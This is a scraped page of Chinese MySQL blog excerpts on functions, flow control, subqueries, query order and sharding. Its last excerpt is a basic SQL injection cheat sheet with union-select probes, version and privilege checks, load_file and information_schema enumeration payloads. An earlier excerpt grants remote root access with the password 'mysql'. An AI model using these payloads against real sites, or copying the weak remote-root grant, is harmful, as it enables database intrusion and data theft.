mysql函数

mysql的学习(七)-自定义函数和流程控制

匿名 (未验证) 提交于 2019-12-02 22:06:11
DELIMITER // (设置结束符 其实我也不太明白为啥要这样 记住就行把) CREATE FUNCTION ym_date ( mydate DATE ) (创建函数 函数名字(参数)) RETURNS VARCHAR ( 20 ) (指定函数的返回类型) BEGIN (函数开始,如果函数只有一句可以省略 bigin 和 end ) RETURN DATE_FORMAT ( mydate , % Y -% m ); (函数体) END // (函数结束) DELIMITER ; (把结束符再变成;) CREATE FUNCTION show_name_store ( bid INT ) RETURNS VARCHAR ( 20 ) RETURN ( SELECT CONCAT_WS ( ‘ ----- ‘ , book_name , store ) FROM bookinfo WHERE book_id = bid ); ( into 的介绍) DELIMITER // CREATE FUNCTION show_name_store ( bid INT ) RETURNS VARCHAR ( 20 ) BEGIN DECLARE result VARCHAR ( 20 ) (声明变量) SELECT CONCAT_WS ( ‘ ----- ‘ , book_name ,

Python与Mysql

匿名 (未验证) 提交于 2019-12-02 22:06:11
安装 安装 sudo apt-get install mysql-server mysql-client 然后按照提示输入 管理服务 启动 service mysql start ֹͣ service mysql stop 重启 service mysql restart 允许远程连接 找到mysql配置文件并修改 sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf 将bind-address=127.0.0.1注释 登录mysql,运行命令 grant all privileges on *.* to 'root'@'%' identified by 'mysql' with grant option; flush privileges; 重启mysql 字段类型 在mysql中包含的数据类型很多,这里主要列出来常用的几种 数字:int,decimal 字符串:char,varchar,text 日期:datetime,timestamp 布尔:bit 约束 主键primary key 非空not null Ωһunique 默认default 外键foreign key shell> mysql -u USERNAME -p PASSWORD -h IPV4 -p PORT 数据库操作 创建数据库 create database 数据库名

mysql数据库总结和提升

匿名 (未验证) 提交于 2019-12-02 22:06:11
mysql> select * from teachers; | tno | tname | tsex | tbirthday | prof | depart | | 804 | 李诚 | 男 | 1958-12-02 00:00:00 | 副教授 | 计算机系 | | 856 | 张旭 | 男 | 1969-03-12 00:00:00 | 讲师 | 电子工程系 | | 825 | 王萍 | 女 | 1972-05-05 00:00:00 | 助教 | 计算机系 | | 831 | 刘冰 | 女 | 1977-08-14 00:00:00 | 助教 | 电子工程系 | 4 rows in set (0.00 sec) mysql> select * from students; | sno | sname | ssex | sbirthday | class | | 108 | 曾华 | 男 | 1977-09-01 00:00:00 | 95033 | | 105 | 匡明 | 男 | 1975-10-02 00:00:00 | 95031 | | 107 | 王丽 | 女 | 1976-01-23 00:00:00 | 95033 | | 101 | 李军 | 男 | 1976-02-20 00:00:00 | 95033 | | 109 | 王芳 | 女 | 1975-02

MYSQL 语句的执行过程详解

匿名 (未验证) 提交于 2019-12-02 22:06:11
在以上的10个处理步骤中, 每一步的处理都生成一个虚拟表来作为下一步的输入. 虚拟表对于调用者或输出查询来说是不存在的, 仅在最后步骤生成的表才会返回给调用者或者输出查询. 如果某一子句没有出现在SQL语句中, 这一步就被简单跳过.. 这10个具体步骤是: 1 . FROM : from 子句中的两个表首先进行交叉连接(笛卡尔积), 生成虚拟表VT1。 2 . ON : on 条件作用在VT1上, 将条件为 True 的行生成VT2。 3 .OUTER: 如果outer join 被指定, 则根据外连接条件, 将左表 or 右表 or 多表的未出现在VT2查询结果中的行加入到VT2后生成VT3。 4 . WHERE : VT3表中应用 Where 条件, 结果为真的行用来生成VT4。 5 . GROUP BY : 根据 Group by 指定的列, 将VT4的行组织到不同的组中, 生成VT5。 6 .CLUB|ROLLUP: 超级组(分组之后的分组)被添加到VT5中, 生成VT6。 7 .HAVING: Having用来筛选组, VT6上符合条件的组将用来生成VT7。 8 . SELECT : select 子句用来选择指定的列, 并生成VT8。 9 . DISTINCT : 从VT8中删除重复的行后, VT9被生成。 10 . ORDER BY : 根据 Order by 子句,

mysql if语句

匿名 (未验证) 提交于 2019-12-02 22:06:11
IF 语句允许您根据表达式的某个条件或值结果来执行一组SQL语句。 要在MySQL中形成一个表达式,可以结合文字,,运算符,甚至函数来组合。表达式可以返回 TRUE , FALSE 或 NULL ,这三个值之一。 请注意,有一个与本教程中指定的 IF 语句是不同的。 MySQL IF语句语法 下面说明了 IF 语句的语法: IF expression THEN statements ; END IF ; SQL 如果表达式( expression )计算结果为 TRUE ,那么将执行 statements 语句,否则控制流将传递到 END IF 之后的下一个语句。 以下流程图演示了 IF 语句的执行过程: MySQL IF ELSE语句 如果表达式计算结果为 FALSE 时执行语句,请使用 IF ELSE 语句,如下所示: IF expression THEN statements ; ELSE else - statements ; END IF ; SQL 以下流程图说明了 IF ELSE 语句的执行过程: MySQL IF ELSEIF ELSE语句 如果要基于多个表达式有条件地执行语句,则使用 IF ELSEIF ELSE 语句如下: IF expression THEN statements ; ELSEIF elseif - expression THEN elseif

Mysql学习笔记(11):流程控制结构

匿名 (未验证) 提交于 2019-12-02 22:06:11
流程控制结构 : 顺序 :从上往下顺序执行 分支:根据条件判断执行相应的语句 循环:重复执行循环体 一、分支结构 1. if函数 语法 :if(条件,值1,值2) 功能 :实现双分支。如果条件满足则返回值1,否则返回值2 应用范围 :在begin end中或外面 应用举例: SELECT IF(a>b,'a大','b大') from xx; ---------- 2. case结构 case结构有很多种 2.1 作为表达式 #情况一 语法 :CASE [col_name] WHEN [value1] THEN[result1]…ELSE [default] END case 变量或表达式 when 值1 then 结果1 ; when ֵ2 then 结果2 ; ... else 结果n ; end 功能 :实现多分支。其中当 col_name 的值等于某个分支中的when后面的值时就返回其then后面的结果,类似于java中的switch结构 应用范围 :在begin end中或外面 应用举例: SELECT NAME AS '英雄', CASE NAME WHEN '德莱文' THEN '斧子' WHEN '盖伦' THEN '大宝剑' ELSE '其他' END AS '装备' FROM user_info; #情况二 语法 :CASE WHEN [expr] THEN

mysql多表子查询

匿名 (未验证) 提交于 2019-12-02 22:06:11
SELECT * FROM stu; #添加多行数据 INSERT INTO stu VALUES(1,'aaa'),(2,'ccc'),(3,'小明'); DROP TABLE stu_temp; CREATE TABLE stu_temp ( ) SELECT * FROM stu_temp; #1:stu_temp表 不能存在的 #2:一边取数据一边创建数据表 #3:stu_temp 约束(主键)是从stu中拿不出来的 CREATE TABLE stu_temp(SELECT * FROM stu); SELECT * FROM info; #4:只需要某些数据表的基本结构,不需要数据! # 查询过程中 where条件不成立,查询的就是结构,否则就是数据+结构 CREATE TABLE info_temp(SELECT * FROM info WHERE 1=2); SELECT * FROM info WHERE 1=1; SELECT * FROM info_temp; CREATE TABLE info_temp3(SELECT id,age FROM info); SELECT * FROM info_temp3; DELETE FROM info_temp3; SELECT * FROM info; #通过age排序 1:升序 2:降序 SELECT * FROM

MySql 查询时 为NULL 设置默认值

匿名 (未验证) 提交于 2019-12-02 22:06:11
我们在查询MySql 数据库时,如果使用比较复杂的查询方式,查询结果有时候会为空(NULL)。 大多数时候,我们会希望他有一个默认值。 对于这个默认值,一种办法是查询完成后用编程语言给他赋默认值。 然后Mysql给我们提供了一个更简单的办法 :IFNULL 函数 # 示例 SELECT IFNULL(a, 0 ) FROM table WHERE 1 ; 这个sql 语句 为 查询结果a 设置一个默认值 0 文章来源: MySql 查询时 为NULL 设置默认值

mysql分表

匿名 (未验证) 提交于 2019-12-02 22:06:11
概述:当一个表的数据很大,比如200G,这时太大,我们只靠索引也不好使了,这时我们需要分表和分区处理。分表有两种形式(水平分表和垂直分表)。 一、水平分表    核心思想:把一个大表,分割N个小表,小表和大表结构一样,只是把数据分散到不同的表中。    1.1 简单例子:比如说是通过ID直接登录(例如QQ号),可以直接使用下面的例子          每次登录验证的时候只要把传过来的id除3取模,根据模可以找到对应的表,然后再去对应的表做查询操作,以下为php的相关操作,注册以及登录。     register.php 1 <? php 2 // 接收参数 3 //测试的参数有:Pwd,Name, Email 4 extract ( $_POST ); 5 6 // 检查是否为空 7 if ( empty ( $Pwd ) || empty ( $Name ) || empty ( $Email )){ 8 die ('参数不能为空!' ); 9 } 10 11 // 连接数据库 12 $link = mysql_connect ('127.0.0.1:3306','root', 'root' ); 13 if (! $link ){ 14 die ('数据库连接失败!' ); 15 } 16 17 // 选择数据库:这个数据库有:uuid表(产生Id的表)、User0表

Mysql 基本注入

匿名 (未验证) 提交于 2019-12-02 22:06:11
================================ and 1=2 查看mysql版本: 具体确定版本号mysql: /*!50000%20s*/ 查看是不是root权限: 判断语句查询的字段数: 联合查询(4.0以上的版本支持):union select 1,2,3,4,5,6,7,8,9,10 from admin 相关函数: system_user() 系统用户名 user() session_user() 连接数据库的用户名 database() version() load_file() @@datadir @@basedir version_complie_os 操作系统 判断如果有root权限,可以使用load_file() ===================================== (1)查询数据库用户: (2)查询所有数据库: and 1=2 union select GROUP_CONCAT(schema_name) from information_schema.schemata and 1=2 union select GROUP_CONCAT(schema_name) from (select schema_name from information_schema.schemata)t and 1=2 union select